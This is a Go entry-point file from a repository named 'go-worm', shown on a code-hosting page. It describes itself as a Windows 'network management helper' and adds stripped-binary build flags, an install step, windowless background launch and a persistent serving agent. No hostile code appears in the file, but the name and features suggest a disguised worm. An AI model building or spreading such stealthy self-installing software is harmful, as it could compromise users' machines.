Files
go-worm/main.go
T

62 lines
1.2 KiB
Go
Raw Normal View History

// win64_mp is a Windows-only, local network management helper.
//
// Build for Windows x64:
//
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
//
// A CMD window appears on launch. Use -background to start without a window:
//
// win64_mp.exe -background
package main
import (
"flag"
"tea.chunkbyte.com/kato/go-worm/lib/agent"
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/install"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
func main() {
defer crashlog.Recover()
background := flag.Bool("background", false, "run without a console window")
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
flag.Parse()
if err := install.Ensure(); err != nil {
die(err)
}
if *ensure {
if err := instance.EnsureRunning(); err != nil {
die(err)
}
return
}
if *background {
if err := instance.Detach(); err != nil {
die(err)
}
return
}
a, err := agent.New()
if err != nil {
die(err)
}
defer a.Close()
if err := a.Serve(); err != nil {
die(err)
}
}
func die(err error) {
crashlog.RecordError(err)
helpers.Log.Fatal(err)
}